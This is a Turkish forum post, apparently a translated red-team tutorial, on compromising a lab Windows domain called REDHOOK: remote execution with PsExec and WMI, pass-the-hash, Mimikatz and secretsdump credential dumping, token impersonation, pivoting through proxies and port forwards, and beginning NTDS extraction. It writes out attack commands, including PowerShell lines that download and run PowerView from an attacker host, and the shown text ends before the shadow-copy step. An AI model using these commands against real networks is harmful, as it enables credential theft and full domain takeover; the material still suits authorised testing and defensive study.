Windows Hacking Serisi #6 | Windows Domainleri, Püf Noktalar & Yararlar

Dolyetyus

Özel Üye
21 Nis 2020
1,207
676
Delft
Windows Domainleri, Püf Noktaler & Yararlar

Selam. Bu yazıda, bir Windows domain’ini tehlikeye atarken yanlanamasına olarak hareket etmenin farklı yollarını arayacağız. Bu gönderi hiçbir şekilde kapsamlı değildir, fakat daha temel tekniklerin ve düşünce süreçlerinin bazılarını kapsamaktadır. İşleri perspektif içinde tutmak için yerel domain’im olan REDHOOK ile ilgili sahte bir hedefi takip edeceğiz. Umarım bu, Windows etki alanlarına odaklanan bir dizi gönderinin ilki olur, görmek istediğiniz belirli bir şey varsa (Kerberos biletleri gibi) bana bir e-posta göndermekten çekinmeyin ve keyfini çıkarın!


Senaryo:

Görevimiz, "redhook.DA" domain hesabı için kullanılabilir kimlik bilgilerini elde etmektir. Saldırganın zaten kurumsal ağda olduğu, ancak henüz hedeflenen etki alanı denetleyicisiyle aynı alt ağda olmadığı bir konumdan başlıyoruz. Aşağıda kurulumun bir şemasını görebilirsiniz.

Dom-1.png



Ek olarak, saldırganın İstemci 1 için bir dizi geçerli yerel Yönetici kimlik bilgisi bulduğunu varsayacağız. Tipik olarak, ağ yeterince büyükse, bir ağ paylaşımında (batch, vbs, .NET, ps1) gibi yerlerde depolanan geçerli kimlik bilgileri bulacaksınız. "dir / s", "findstr / SI" ve Find-InterestingFile dostunuzdur. İlk erişimin nasıl kazanıldığına bağlı olarak, Cobalt Strike gibi çalışmak için güzel bir çerçeveye sahip olabilirsiniz veya kurumsal bir iş istasyonunda yerel olarak kullanılabilen işlevlerle sınırlı olabilirsiniz. Bu konuda saldırgan bir Kali kutusunun üzerinde olacak ama sadece Windows'a erişiminiz olduğunda yapabileceğiniz bazı şeyleri açıklayacağım. Son olarak, gönderide, SRP ve AV kaçınması ile uğraşmayacağız. Bunu aklınızda tutun çünkü AV uygulamaları=kötü.

Kaynaklar:
+ Active Directory Security (@PyroTek3) - buradan
+ harmj0y (@harmj0y) - buradan
+ Exploit-Monday (@mattifestation) - buradan
+ PowerView - buradan
+ PowerSploit - buradan
+ Impacket - buradan
+ Impacket compiled by maaaaz - buradan
+ Mimikatz - buradan
+ Incognito - buradan
+ Windows Credentials Editor - buradan
+ Sysinternals Suite - buradan



İstemci Uzlaşması 1

Daha önce bahsettiğim gibi, bir ağ paylaşımında "İstemci 1" için kullanıcı kimlik bilgilerini "bulduk". Şu an aklıma böyle bir şey geliyor:

Kod:
 [COLOR="Plum"]# Mock contents of \\FileServer\Users\bob\Workstations\ErrorLog.bat

  [USER=14298]echo[/USER] off

net use "\\10.0.0.129\C$" /user:bob ImSoSecur3!

if exist "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" (
    echo "Sigh, more errors on Client1! Copying.."
    copy "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" C:\Users\bob\Logs\Client1\
    del  "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt"
) else (
    echo "Yaay, no new errors on Client1!"
)

net use "\\10.0.0.129\C$" /delete[/COLOR]


Toplu komut dosyasında belirtilen IP için bazı NetBIOS bilgilerini hızlı bir şekilde alabiliriz.

Dom-2.png



Aynı şeyi Windows'ta "nbtstat -A IP" komutu ile de yapabilirsiniz. Makine adının WIN7-ENT-CLI1 olduğunu ve REDHOOK alanına bağlı olduğunu görebiliriz.



PsExec:

****sploit PsExec ile kutuya kolayca bir kabuk alabiliriz. Bob'un yerel bir hesap olduğuna dikkat edin, aksi takdirde "net use" komutu "REDHOOK\bob" öğesini belirtirdi. Bu nedenle SMBDomain parametresini kullanmıyoruz.

Dom-4.png



****sploit'te sunulan tek bir PsExec yok. RemComSvc kullanarak PsExec'i taklit eden Impacket'in PsExec'ini kullanabiliriz. Buradaki güzel şey, net metin kimlik bilgilerimiz yoksa hash'leri de kabul edecek olması, buna daha sonra geri döneceğiz.

Dom-5.png



Son olarak, Microsoft'un imzalı bir yürütülebilir dosya olma avantajına sahip kendi PsExec'ini de unutmayalım. Bu komuta "-s" bayrağını eklemek size bir SYSTEM kabuğunu verecektir.

Dom-6.png




Windows Yönetim Araçları (WMI):

Uzak komutları çalıştırmaya gelince birkaç WMI seçeneği de ayrıca vardır. En dikkate değer WMIC, yalnızca uzaktaki bir makinede komut yürütmenize izin vermekle kalmaz, aynı zamanda hepsi yerleşik olan araçları kullanarak hassas bilgiler elde etmek ve işletim sistemini yeniden yapılandırmak için WMI'dan yararlanabilirsiniz.

Dom-7.png



Açıkçası, komut yürütmenin avantajınıza olması için "cmd.exe/c" ve "powershell.exe -exec bypass -command" ile biraz yaratıcı olmanız gerekir. Buradakinin zıttı, hemen hemen her kutunun bu yerleşik içeriğe sahip olmasıdır.

Yine, Impacket'e geri dönersek, komutları çalıştırmanıza ve çıktı almanıza izin verecek WmiExec'e sahibiz, ayrıca size yarı etkileşimli bir kabuk verebilir ve karmaları kabul edebilir.


Dom-8.png



Son olarak, PowerSploit'te Invoke-WmiCommand var, bu, PSCredential nesnesi nedeniyle biraz daha fazla emek gerektirir, ancak komut çıktısını ve komut dosyası için bellek içi yerini alabilirsiniz.

Dom-9.png




Pass-The-Hash, WCE & Mimikatz:

Bazen bir kutuyu açtığınızda, açık metin şifresine değil, yalnızca kullanıcı hesabı için NTLM karmasına erişebilirsiniz. Bu durumlarda, ****sploit (psexec) veya Impacket'e (hemen hemen tüm araçlar PTH'yi destekler) erişiminiz varsa, o zaman işiniz kolay olacak. Yerel Windows ortamıyla sınırlıysanız, yine de NTLM karmasını WCE veya Mimikatz kullanarak bir işleme enjekte edebilirsiniz.

Dom-12.png



Buradaki dezavantaj, KKE'nin alarmları çalıştırma konusunda oldukça garantili olmasıdır! Mimikatz ise powershell w00t kullanılarak doğrudan belleğe yüklenebilir! Fakat bu durumda sadece derlenmiş binary kullanıyorum.

Dom-13.png



Her iki durumda da doaminin "." olarak ayarlandığına dikkat edin. Bunun sebebi ise bob'un yerel bir hesap olmasıdır, ancak bu domain hesapları için de mükemmel şekilde çalışacaktır.

Artık kutuya bir kabuk yerleştirmenin birçok yolu var. Bu biraz zor görünebilir, ancak tamamen fazlalıkla ilgili, bazı durumlarda yapabileceklerinizi kısıtlayan, belirli bir yöntem genel olarak amaçladığınız hedef için daha verimli olacaktır. Dikkat etmeniz gereken bir şey, PsExec varyantlarının size bir SYSTEM kabuğu verirken, WMI varyantları, kutuda kimlik doğrulaması yaptığınız kullanıcı olarak komutlarınızı yürütür. Yine birinin veya diğerinin arzu edildiği bazı durumlar vardır.




Smash-And-Grab

Yeni alt ağda bir yer edindikten sonra, klasik bir smash and grab zamanı. Erişebildiğimiz tüm kimlik bilgilerini (açık metin ve karmalar) toplamak ve oradan nereye gidebileceğimizi bulmak istiyoruz.


****sploit (Mimikatz & hashdump):

Meterpreter'dan oldukça sadedir. Aktif oturumu olan kullanıcılara düz metin kimlik bilgileri almak için Mimikatz'ı ve şu anda oturum açmamış yerel hesaplara karma değerleri almak için hashdump'ı kullanın.

Dom-10.png




Secretsdump & Invoke-Mimikatz:

Alternatiflerimizi açık tutmak için, Impacket's SecretsDump ve Powersploit'in Invoke-Mimikatz’ın kullanarak aynı sonuçları elde edebiliriz. Bu durumda Invoke-Mimikatz saldırganların web sunucusunda barındırılır. Sadelik için Mimikatz’ın çıktısını kestim.

Dom-11.png



Bununla başa çıkmanın doğal olarak başka yolları da var ama bunların muhtemel ana teknikler olduğunu düşünüyorum.


Keşif

Tamam, şimdi REDHOOK domainindeki bir makineye erişimimiz var ve bu da farklı bir alt ağa bağlı, biraz keşif yapma zamanı!


Taklit Etme:

Domaine özgü bilgileri sorgulamak istediğimiz için domain kullanıcısı olarak bir kabuğa ihtiyacımız olacak. Bu biraz sıkıntılı çünkü şu anda bob (domain kullanıcısı değil) ve SYSTEM olarak bir kabuğumuz var. Neyse ki, bazı belgelenmemiş NtQuerySystemInformation voodoo'yu kullanarak diğer kullanıcı hesaplarına ait tokenlerı bulabilir ve onları taklit edebiliriz, bu bilinen araç “incognito”nun dayanak aldığı bir şeydir. Ek olarak, makinede "REDHOOK\asenath.waite" oturumunun açıldığını biliyoruz, böylelikle oturum ana aday olacak.
Meterpreter, bu işlemi çok basit hale getiren gizli bir eklentiye sahiptir.


Dom-14.png



Alternatif olarak, uzaktan kullanıma izin veren PsExec benzeri işlevselliğe sahip Luke Jennings'in asıl incognito binary dosyasını kullanabilirsiniz.

Dom-15.png



Son olarak, PowerSploit's Invoke-TokenManipulation da var. Maalesef şu anki durumda onu kullanmanızı tavsiye edemem çünkü ihtiyacımız olan işlevselliği gerçekten alamıyoruz. İki hata raporu gönderdim (#112 & #113), eğer bu sorun çözülürse (özellikle 113), o zaman bu gönderiyi güncelleyeceğim çünkü düşünceme göre token kimliğine bürünmek için PowerShell'i kullanmak en iyi senaryo olurdu!



Domain Keşfi:

Şimdi bir domain kullanıcısı olarak bir kabuğumuz var, arazinin bir yerleşimini elde etmek ve bir sonraki hedefimizin ne olacağını bulmak için hızlı bir şekilde numaralandırma yapmamız gerekiyor.

Kod:
 [COLOR="Plum"]C:\Windows\System32> whoami
redhook\asenath.waite

C:\Windows\System32> hostname
WIN7-Ent-CLI1

C:\Windows\System32> ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::a1ba:a1ab:170c:7916%17
   IPv4 Address. . . . . . . . . . . : 10.0.0.129                    # Attacker's subnet
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::5ddc:1e6:17e9:9e15%11
   IPv4 Address. . . . . . . . . . . : 10.1.1.2                      # REDHOOK subnet
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.1.1.1

Tunnel adapter isatap.{8D0466B5-1F88-480C-A42D-49A871635C9A}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter isatap.localdomain:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : localdomain

Tunnel adapter isatap.{5CBBE015-1E1C-4926-8025-EBB59E470186}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

# A very small network, three hosts, including the one we have just compromised.
C:\Windows\System32> net view
Server Name            Remark

-------------------------------------------------------------------------------
\\REDRUM-DC            red.dc
\\WIN7-ENT-CLI1
\\WIN7-ENT-CLI2

The command completed successfully.

# The DC the user is authenticated to
C:\Windows\System32> echo %logonserver%
\\REDRUM-DC

C:\Windows\System32> ping -n 1 REDRUM-DC

Pinging redrum-dc.redhook.local [10.1.1.200] with 32 bytes of data:
Reply from 10.1.1.200: bytes=32 time<1ms TTL=128

Ping statistics for 10.1.1.200:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

# List local users
C:\Windows\System32> net user

User accounts for \\WIN7-ENT-CLI1

-------------------------------------------------------------------------------
Administrator            bob                      Guest
TemplateAdmin

The command completed successfully.

# List REDHOOK domain users
C:\Windows\System32> net user /domain
The request will be processed at a domain controller for domain RedHook.local.


User accounts for \\Redrum-DC.RedHook.local

-------------------------------------------------------------------------------
Administrator            asenath.waite            Guest
john.smith               krbtgt                   redhook.DA
robert.suydam            wilbur.whateley

The command completed successfully.

# PowerSploit => Invoke-EnumerateLocalAdmin: Find all users who are local Administrators on a box in the 
  network.
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Invoke-EnumerateLocalAdmin"

Server      : Redrum-DC.RedHook.local
AccountName : RedHook.local/Administrator                   # Be careful, Administrator is a domain user
SID         : S-1-5-21-129707511-1158432277-3818383092-500    in this case, not a local user!
Disabled    : False
IsGroup     : False
IsDomain    : True
LastLogin   : 28/01/2016 21:38:22

Server      : Redrum-DC.RedHook.local
AccountName : RedHook.local/Enterprise Admins
SID         : S-1-5-21-129707511-1158432277-3818383092-519
Disabled    : False
IsGroup     : True
IsDomain    : True
LastLogin   :

Server      : Redrum-DC.RedHook.local
AccountName : RedHook.local/Domain Admins
SID         : S-1-5-21-129707511-1158432277-3818383092-512
Disabled    : False
IsGroup     : True
IsDomain    : True
LastLogin   :

Server      : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/Administrator
SID         : S-1-5-21-280973330-564264495-219324212-500
Disabled    : ERROR
IsGroup     : False
IsDomain    : False
LastLogin   :

Server      : WIN7-ENT-CLI1.RedHook.local
AccountName : RedHook.local/Domain Admins
SID         : S-1-5-21-129707511-1158432277-3818383092-512
Disabled    : False
IsGroup     : True
IsDomain    : True
LastLogin   :

Server      : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/bob                            # The local user bob is an admin on Client 1,
SID         : S-1-5-21-280973330-564264495-219324212-1002    we knew this already.
Disabled    : ERROR
IsGroup     : False
IsDomain    : False
LastLogin   :

Server      : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/TemplateAdmin                  # Mmm!
SID         : S-1-5-21-280973330-564264495-219324212-1003
Disabled    : ERROR
IsGroup     : False
IsDomain    : False
LastLogin   :

Server      : WIN7-ENT-CLI2.RedHook.local
AccountName : WIN7-ENT-CLI2/Administrator
SID         : S-1-5-21-1588183677-2924731702-2964281847-500
Disabled    : ERROR
IsGroup     : False
IsDomain    : False
LastLogin   :

Server      : WIN7-ENT-CLI2.RedHook.local
AccountName : RedHook.local/Domain Admins
SID         : S-1-5-21-129707511-1158432277-3818383092-512
Disabled    : False
IsGroup     : True
IsDomain    : True
LastLogin   :

Server      : WIN7-ENT-CLI2.RedHook.local
AccountName : WIN7-ENT-CLI2/TemplateAdmin                     # Mmm², very suspicious, the local user
SID         : S-1-5-21-1588183677-2924731702-2964281847-1004    TemplateAdmin is an admin on both "Client
Disabled    : ERROR                                             1" and "Client 2"!
IsGroup     : False
IsDomain    : False
LastLogin   :

# PowerSploit => Get-NetSession: List active, remote, logon sessions on the DC.
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName REDRUM-DC"

sesi10_cname                  sesi10_username    sesi10_time    sesi10_idle_time
------------                  ---------------    -----------    ----------------
\\[fe80::18a3:b250:ed6a:28f0] REDRUM-DC$                  10                  10
\\10.1.1.2                    asenath.waite                0                   0

# Same for "Client 2". Crucially, notice that the domain user REDHOOK\Administrator is authenticated to 
  the box and that the connection is originating from the DC!
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName WIN7-ENT-CLI2"

sesi10_cname                  sesi10_username    sesi10_time    sesi10_idle_time
------------                  ---------------    -----------    ----------------
\\10.1.1.200                  Administrator             1721                 124
\\10.1.1.2                    asenath.waite                0                   0

# Let's get some more info about that account. Again, this is listing information about 
  REDHOOK\Administrator not the local administrator.
C:\Windows\System32> net user Administrator /domain
The request will be processed at a domain controller for domain RedHook.local.

User name                    Administrator
Full Name
Comment                      Built-in account for administering the computer/dom
ain
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            25/01/2016 21:15:11
Password expires             Never
Password changeable          26/01/2016 21:15:11
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   28/01/2016 21:38:22

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *Domain Users         *Domain Admins  # Oops, he is a DA!
The command completed successfully.

# We also won't forget to retrieve some info about our fictional target REDHOOK\redhook.DA.
C:\Windows\System32> net user redhook.DA /domain
The request will be processed at a domain controller for domain RedHook.local.

User name                    redhook.DA
Full Name                    redhook DA
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            25/01/2016 21:27:37
Password expires             Never
Password changeable          26/01/2016 21:27:37
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   28/01/2016 21:18:56

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Enterprise Admins    *Domain Admins  # Our target on the other hand is the
                             *Group Policy Creator *Schema Admins    mother root of DA's hehe!
The command completed successfully.[/COLOR]


Kısa aramamızın çıktısına bakmak, bize bir domain yöneticisi olma yolunda oldukça olası bir yol sunar.

(1) Yerel kullanıcı TemplateAdmin'in hem "İstemci 1" hem de "İstemci 2" de bir yönetici olduğu görülüyor. (2) TemplateAdmin için şifresiz metin kimlik bilgilerimiz olmasa da, "İstemci 2" ye erişmek için kullanabileceğimiz bir hash'e sahibiz. (3) REDHOOK\Administrator hesabının kimliği "İstemci 2" için doğrulanır, bu kutuyu oturum açmışken tehlikeye atarsak, açık metin kimlik bilgilerini alabilir ve/veya onun kimliğine bürünebiliriz. Bu noktada domaine hemen hemen sahibiz!

Devam etmeden önce, sürpriz bir kısa sınav sorusu: "REDHOOK\Administrator" ün domain yöneticileri grubunun bir parçası olmasının en olası nedeni nedir? Bunun MCSA sınavında olabileceğine ihtimal veriyorum.



Socks Proxy:


Altını çizmek istediğim son bir şey, ****sploit'in trafiği yerleşik oturumlar boyunca yönlendirme ve ardından bu erişimi bir sock proxy aracılığıyla işletim sistemine ifşa etme becerisidir. ****sploit veya kobalt grevi gibi bir şeye erişiminiz varsa bu çok yararlıdır.

Dom-16.png



"Oturum 1" üzerinden bir rota oluşturarak, temel olarak çoğu ****-casus modülüne, yönlendirilemeyen/24 alt ağındaki ana bilgisayarlara karşı çalıştırılma yeteneği verdik.

Dom-17.png



Ek olarak, bir Socks proxy başlatmak, proxychains kullanarak bu erişimi işletim sistemimize sunar. ****sploit modülü tarafından ayarlanan uygun bağlantı noktasını kullanmak için proxychains yapılandırma dosyasını düzenlediğinizden emin olun.

Dom-18.png



Bu durumda hatırlamanız gereken tek şey, Socks proxy'nin yalnızca TCP trafiğini kabul edeceğidir. Yine de çoğu şeyi yapabilirsiniz, ancak sınırları aklınızdan çıkmasın.

Bir Windows makinesinde temel işlevselliği kullanarak bir socks proxy'yi ayarlamak mümkün değildir. Ancak netsh kullanarak port yönlendirme kuralları oluşturabiliriz, buna daha sonra geri döneceğiz. Ayrıca, daha fazlasını istiyorsanız, SSH tünelleriyle biraz plink kapabilir ve sihir yapabilirsiniz, ancak bu, bu yazının kapsamı dışındadır.




İstemci Uzlaşması 2

"İstemci 1" ve "İstemci 2" arasında paylaşılan yerel yönetici hesabı TemplateAdmin, aynı kimlik bilgilerine sahip olduklarının gayet iyi bir göstergesidir. Bu nedenle, "İstemci 2"nin tehlikeye atılması yukarıdaki senaryodan çok farklı değildir, ancak kabuğumuzu döndürmemiz ve açık metin şifresi yerine hesap karmasını kullanmamız gerekir. Aşağıda bunu yapmanın iki yolunu göstereceğim, ancak başka seçenekler de kesinlikle mümkün.


****sploit (PortProxy & PsExec):

****sploit'teki özel rotamız üzerinden "İstemci 2" ye ulaşabilmemize rağmen, bağlantıyı geri almakta zorluk çekeceğiz. Bunu aşmak için portproxy modülünü kullanarak "İstemci 1" üzerinde bir port yönlendirme kuralı oluşturabiliriz.

Dom-19.png



Bu ilk bakışta biraz kafa karıştırıcı görünebilir ama gerçekten çok basittir. "İstemci 1" 10.1.1.2:9988'i dinliyor ve bu bağlantı noktasına gelen trafiği 10.0.0.128:9988'e gönderiyor. Bu aslında, Windows'ta netsh’ı arka planda sarmalamaktır. Geriye kalan tek şey PsExec'i biraz yeniden yapılandırmaktır.

Dom-20.png



Impacket (PsExec) & netsh:

Öncelikle, netsh kullanarak "İstemci 1" üzerinde manuel olarak bağlantı noktası yönlendirme kuralını ayarlamamız gerekecek.

Dom-21.png



Şimdi 10.0.0.129:5678'de gelen trafiği 10.1.1.3:445'e yönlendirecek bir kural oluşturduk. Bunun çalışması için Impacket PsExec'inin özel bir bağlantı noktasına bağlanması gerekecek, bu kullanıma hazır olarak desteklenmiyor, ancak python kaynağını kolayca düzenleyebiliriz.

Dom-22.png



Kaydedilen değişikliklerimizle PsExec'i 10.0.0.129'a alabiliriz ve trafiğimiz artık 10.1.1.3'e iletilebilir!

Dom-23.png



İşiniz bittiğinde bağlantı noktası yönlendirme kuralını temizlemeyi unutmayın. Aşağıdaki komut, bağlantı noktası proxy yapılandırma dosyasını sıfırlayacaktır.

Kod:
 [COLOR="Plum"]C:\Windows\system32> netsh interface portproxy reset[/COLOR]


Saf Windows?

Ne yazık ki, saldırgan bir Windows kutusundaysa, bunu yerel olarak çalıştırmanın bir yolunu bulamadım. Sorun, Sysinternals PsExec gibi araçların varsayılan olmayan bağlantı noktalarını sorgulamamasıdır. Ayrıca, saldırganın makinesinde 445 numaralı bağlantı noktası açıksa, yapılandırdığımız bağlantı noktası yönlendirme kurallarını yok sayar (ör: 127.0.0.1:445->10.0.0.129:5678). SMB'yi geçici olarak devre dışı bırakmak da bir seçenek değildir, bağlı dosyaların yeniden yapılandırılmasını ve makinenin yeniden başlatılmasını gerektirir (Harbi mi!?). İşe yarayacak herhangi bir büyü bilen varsa, lütfen aşağıya bir yorum bıraksın!

Bu durumda en iyi seçeneğiniz, maaaaz'ın burada yaptığı gibi, pyinstaller kullanarak Impacket'in PsExec'ini değiştirmek ve derlemek olacaktır.




Smash-And-Grab ²

REDHOOK\Administrator'ün "İstemci 2" için nasıl kimlik doğrulamasını yaptığına bağlı olarak, bu ilk senaryomuza benzer olabilir veya olmayabilir. Örneğin, basit bir "net use\\10.1.1.3\C$" komutu verildiyse, açık metin kimlik bilgileri veya bir karma elde edemeyiz, ancak "net use\\10.1.1.3\C$ / user: REDHOOK\ Administrator XXXXXXX " bize ikisini de verir. Temelde, REDHOOK\Administrator kullanıcısının kimlik doğrulaması sırasında kimlik bilgilerini gerçekten yazıp yazmadığına bağlıdır.

Her iki durumda da büyük olasılıkla oyun biteceğini unutmayın. Açık metin kimlik bilgilerini alamasak bile, REDHOOK\Administrator olarak çalışan bir işlem bulabilir ve incognito kullanarak bu işlemin belirtecini taklit edebiliriz.




****sploit Easy-Mode (Mimikatz & hashdump & incognito):

Dom-24.png



Bu durumda şanslıydık ya da bilerek yaptığım için değil hehe! sadece üslerimizi örtmek için Incognito’ya kısaca bir göz atalım.

Dom-25.png




Impacket (PsExec) & incognito:

Burada yine pivot nedeniyle bazı sınırlamalarımız var. Tekniği açıklamak için, biraz kullanıcı dostu olmaması yüzünden (Invoke-Mimikatz'ın aksine) uzak ana bilgisayarda incognitonasıl kullanabileceğimizi göstereceğim.

Dom-26.png



Komutu çalıştırdıktan sonra kabuğumuz kilitleniyor (iç çekme...). Bununla epey bir süre oynadım ve "-c" (etkileşimli mod) parametresi olmadan kabuğun takılmadığını, ancak komutlarınızı bir bat dosyasında gruplamazsanız da komutun doğru şekilde çalışmadığını gördüm. Beklemeden önce yalnızca ilkini yürütür. Daha açık olmak gerekirse, bu sorun yalnızca PsExec aracılığıyla incognito çalıştırılırken ortaya çıkar.
Oldukça kötü bir çözüm olmasına rağmen, makineye tekrar giriş yaptığımızda toplu komut dosyamızın doğru çalıştığını görebiliriz.


Dom-27.png



Herhangi biri incognito komutunu çalıştırmanın daha zarif bir yolunu bulabilirse, kesinlikle bir yorum bıraksın!



Dosya Transferleri:

Açıkçası, Impacket'in PsExec dosyasındaki "put" komutunu kullanarak kendime biraz daha basit davrandım. Genel olarak iyi bir yaklaşım, ihtiyacınız olabilecek herhangi bir dosyayı pivot kutusuna indirmek olacaktır, PowerShell'in WebClient'ını veya bitadmin gibi bir şeyi kullanabilirsiniz. Bazı fikirler için, buradaki Parvez’in gönderisine bir göz atın. Dosyalar yerleştirildikten sonra, kısıtlanmamış bir Windows paylaşımı oluşturabilir ve bunu pivotun arkasındaki ana bilgisayardan bağlayabilirsiniz. Aşağıda bazı örnek sözdizimini görebilirsiniz.

Kod:
 [COLOR="Plum"]# Create an unrestricted share.
C:\Users\asenath.waite> md C:\Users\asenath.waite\Desktop\test

C:\Users\asenath.waite> echo Hello > C:\Users\asenath.waite\Desktop\test\test.txt

C:\Users\asenath.waite> net share SomeShare=C:\Users\asenath.waite\Desktop\test /grant:everyone,full
SomeShare was shared successfully.

C:\Users\asenath.waite> net share
Share name   Resource                             Remark

-------------------------------------------------------------------------------
C$           C:\                                  Default share
IPC$                                              Remote IPC
ADMIN$       C:\Windows                           Remote Admin
SomeShare    C:\Users\asenath.waite\Desktop\test

The command completed successfully.

# On the remote host simple mount the share.
C:\Users\belial> net use \\10.0.0.129\SomeShare
The command completed successfully.

C:\Users\belial> type \\10.0.0.129\SomeShare\test.txt
Hello

# Unmount.
C:\Users\belial> net use \\10.0.0.129\SomeShare /delete
\\10.0.0.129\SomeShare was deleted successfully.

# Clean up the share.
C:\Users\asenath.waite> net share C:\Users\asenath.waite\Desktop\test /delete /yes
Users have open files on SomeShare.  Continuing the operation will force the files closed.

SomeShare was deleted successfully.

C:\Users\asenath.waite> rd /S /Q C:\Users\asenath.waite\Desktop\test[/COLOR]


Redrum-DC Uzlaşması

Bu noktada ya REDHOOK\Administrator için düz metin kimlik bilgilerini bulduk ya da kendi Domain Yöneticimizi oluşturduk, bu da DC'den ödün vermenin "İstemci 2" için kullandığımız işlemle tamamen aynı olacağı anlamına geliyor. Parmaklarımı biraz yazmaktan kurtarmak için tüm senaryoyu tekrar gözden geçirmeyeceğim, daha önce gösterilen bir dizi tekniği karıştırıp eşleştirebilirsiniz. Aşağıdaki iki örnek, yine, daha önce gördüğümüz durumlardan biraz farklı bir şey yapıyor.


Socks Proxy & Impacket (WmiExec):

Daha önce kurduğumuz socks proxy’i hatırlıyor musunuz? Domain’İ tehlikeye atmak için ihtiyacımız olan hemen hemen her şeyi Proxy üzerinde kullanabiliriz. Uyarı, pivotta bir socks proxy oluşturmamızı gerektirmesidir. Burada, işleri biraz değiştirmek için Impacket'in WmiExec'ini kullanıyoruz.

Dom-28.png



Basit değil mi? Sadece, bir seçenek olmaması durumdan dolayı buna çok fazla güvenmeyin!



Sysinternals (PsExec) & Invoke-Mimikatz:

İlk hedefimizi tamamlama ve REDHOOK\redhook.DA kullanıcı hesabı için kullanılabilir kimlik bilgilerini alma zamanı geldi. Bu örnek, Invoke-Mimikatz'ın kimlik bilgilerini uzak makinelere iletebilme yeteneğini kullanıyor. Esasen, "İstemci 1" üzerinde REDHOOK\Administratori olarak bir kabuk alıyoruz ve ardından DC'de Mimikatz'ı başlatıyoruz. Burada REDHOOK\redhook.DA'nın kutuda aktif bir oturumu olduğunu varsayıyoruz.

Dom-29.png



Burada yalnızca hashleri yığmamın nedeni, 2k12 R2/Windows 8.1+ üzerindeki gelişmiş koruma özellikleri nedeniyle, kimliği doğrulanmış kullanıcılar için açık metin kimlik bilgileri alamamamız. Ancak çıktıdan, bu kullanıcı olarak domaindeki diğer makinelerin kimliğini doğrulamak için fazlasıyla yeterli olacak REDHOOK\redhook.DA NTLM karmasını almayı başardığımızı görebiliriz.

Dom-30.png



Karmanın LM kısmını boş olarak doldurduğumuza dikkat edin, aslında oraya ne koyduğumuzun önemi yok. Burada kesinlikle Impacket ile sınırlı değiliz, ****sploit'in PsExec'i de WCE veya Mimikatz kullanarak bir komut isteminin NTLM hashini oluşturacak şekilde iyi çalışacaktır.



NTDS’yi Yağmalama

Oyun sonu emeği geçenler kısmına geçmeden önce NTDS'yi çıkarmak çoğu zaman yapılacak son şey olacaktır. Bunu yaparken, hem DC'ye yerel kabuk erişimi hem de WMI'yi uzaktan kullanarak bir dizi farklı teknik gösteren Sean Metcalf yazısını okumanızı şiddetle tavsiye ederim. Bu bölümde bunu başarmanın iki yolunu kısaca göstereceğim.


Volume Shadow Copy (Classic-Mode):

Bunu yapmanın en basit yolu arazinin dışında yaşamak, vssadmin kullanmaktır.

Kod:
 [COLOR="Plum"]C:\> whoami
redhook\redhook.da

# Get the path to NTDS, it may not be in the C drive.
C:\> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
    System Schema Version    REG_DWORD    0x45
    Root Domain    REG_SZ    DC=RedHook,DC=local
    Configuration NC    REG_SZ    CN=Configuration,DC=RedHook,DC=local
    Machine DN Name    REG_SZ    CN=NTDS Settings,CN=REDRUM-DC,CN=Servers,CN=There-Be-Dragons,CN=Sites,CN=
                                 Configuration,DC=RedHook,DC=local
    DsaOptions    REG_SZ    1
    IsClone    REG_DWORD    0x0
    ServiceDll    REG_EXPAND_SZ    %systemroot%\system32\ntdsa.dll
    DSA Working Directory    REG_SZ    C:\Windows\NTDS
    DSA Database file    REG_SZ    C:\Windows\NTDS\ntds.dit
    Database backup path    REG_SZ    C:\Windows\NTDS\dsadata.bak
    Database log files path    REG_SZ    C:\Windows\NTDS
    Hierarchy Table Recalculation interval (minutes)    REG_DWORD    0x2d0
    Database logging/recovery    REG_SZ    ON
    DS Drive Mappings    REG_MULTI_SZ    c:\=\\?\Volume{1c6c559b-3db6-11e5-80ba-806e6f6e6963}\
    DSA Database Epoch    REG_DWORD    0x7983
    Strict Replication Consistency    REG_DWORD    0x1
    Schema Version    REG_DWORD    0x45
    ldapserverintegrity    REG_DWORD    0x1
    Global Catalog Promotion Complete    REG_DWORD    0x1
    DSA Previous Restore Count    REG_DWORD    0x1

# Create a shadow copy of C.
